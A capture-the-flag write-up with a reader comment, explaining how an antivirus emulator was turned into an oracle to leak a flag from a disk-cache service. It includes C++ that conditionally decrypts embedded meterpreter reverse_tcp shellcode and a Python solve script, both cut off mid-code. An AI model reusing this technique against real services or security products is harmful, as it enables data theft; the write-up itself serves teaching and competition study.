Rating: 4.8

In task, we have a simple LRU cache on disk written in Python. The name heavily hints that the server is running with Windows Defender near, the hint sends us back to WIndows Defender task where the solution was the JavaScript deletion oracle. This time, JS won't work.

Every good antivirus has an x86 emulator these days, that's what immediately came to my mind. It is called on new executable files when any disk operation happens to them, for example, new file is saved to the disk. And what is the 100% trigger for the antivirus? One may think that EICAR string will suffice, but it's not true, EICAR string should appear at the beginning of the file. What we really need is some common shellcode, like Msfvenom's `windows/x64/meterpreter/reverse_tcp`. Again, every good antivirus has signatures for Msfvenom's shellcodes.

Back to the task, what is happening there? The app appends the flag to our file before saving it do disk. How can we abuse it? First of all, WinAPI makes it extremely easy to read our own executable. Now we can conditionally decrypt and call the shellcode if, for example, last byte of our executable is less then 0x40. If it is indeed less, then the shellcode will be decrypted in emulator, trigger the signature, and file will be deleted (but the server will return an UUID for this file). Consequently, trying to get this file will return an HTTP 500 error (I don't really know why). If the shellcode was not decrypted, the file will be saved, and GET will return 200. That's our oracle.

Additionally, since there are limits on emulator run time, I preemtively optimized the payload binary, i.e., deleted all mentions of CRT, now the execution starts immediately from my `main` function, and there is only one function and one shellcode in the binary. As a consequence, no standard library can be used. I added the `/NODEFAULTLIB` parameter to linker command line and also set the entry point to `main` function. After that, the binary size is 5 KB.

``` cpp
#include <Windows.h>

// shellcode is encrypted by solve.py
#pragma section(".text")
unsigned char shellcode[] = ""

int main() {
GetModuleFileName(NULL, path, MAX_PATH);
SetFilePointer(hFile, -1, NULL, FILE_END); // -1 here is patched by solve.py
unsigned char c;
ReadFile(hFile, &c, 1, NULL, NULL);

// debug output
auto stdout = GetStdHandle(STD_OUTPUT_HANDLE);
unsigned char x;
x = "0123456789ABCDEF"[c >> 4];
WriteFile(stdout, &x, 1, NULL, NULL);
x = "0123456789ABCDEF"[c & 15];
WriteFile(stdout, &x, 1, NULL, NULL);

DWORD oldProtect;
if (!VirtualProtect((LPVOID)((ptrdiff_t)&shellcode & 0xFFFFFFFFFFFFF000LL), 0x1000, PAGE_EXECUTE_READWRITE, &oldProtect)) {
WriteFile(stdout, "VirtualProtect failed", 22, NULL, NULL);
return 0;
if (c <= 0x60) { // 0x60 here is patched by solve.py
for (size_t i = 0; i < sizeof(shellcode); ++i) {
shellcode[i] ^= 0xAA;
return 0;

``` python
#!/usr/bin/env python3
import requests
import sys
import struct

HOST = 'http://angry-defender.zajebistyc.tf/cache'

def prepare(position, charcode):
with open('payload.exe', 'rb') as f:
q = f.read()
it = q.find(b'\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52')
q = list(q)
for i in range(it, it + 511): # encrypt shellcode
q[i] ^= 0xAA
q = bytes(q)
it = q.find(b'\x83\xF8\x60')
q = q[:it + 2] + struct.pack('B', charcode) + q[it + 3:]
q = q[:0x65B] + struct.pack('

krystalgamerMarch 15, 2020, 2:11 p.m.

HTTP 500 Error can happen for two reasons in this challenge:
1. Windows Defender deleted your program, thus although the reference in the cache is invalid causing a FileNotFoundError which is not handled by app.py, notice only KeyError is handled
2. Removing and appending the flag back is different, super weird condition in app.py but I think it's to prevent Windows Defender trickery such as removing the threat